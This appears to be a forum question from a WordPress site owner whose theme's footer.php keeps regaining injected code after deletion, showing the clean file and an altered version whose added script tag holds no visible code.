Woocommerce – wordpress theme footer.php file have some malicious code

One of my wordpress theme in footer.php file add some malicious code automatically. I delete that code several time but some moment later that code automatically added in footer.php file. I don’t find any solution to stop this. I think this it is some type of malicious code, I want to know more about this and how to stop this.

footer.php

<?php global $themesbazar; ?> 
         <div class="footer">
  <?php echo $themesbazar['editorial']?>
        </div>
    <div class="footer-04">
        <div class="row">
                <div class="col-md-6">
                    <div class="copyright">
                    <?php echo $themesbazar['copyright']?>
                    </div>
                 </div>
                <div class="col-md-6"><?php div(); ?>
                </div>
        </div>              
    </div>      
    </section>

with malicious code:

 <?php global $themesbazar; ?> 
         <div class="footer">
  <?php echo $themesbazar['editorial']?>
        </div>
    <div class="footer-04">
        <div class="row">
                <div class="col-md-6">
                    <div class="copyright">
                    <?php echo $themesbazar['copyright']?>
                    </div>
                 </div>
                <div class="col-md-6"><?php div(); ?>
                </div>
        </div>  



    </div>      
    </section>

    <script type="text/javascript">
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   </script>
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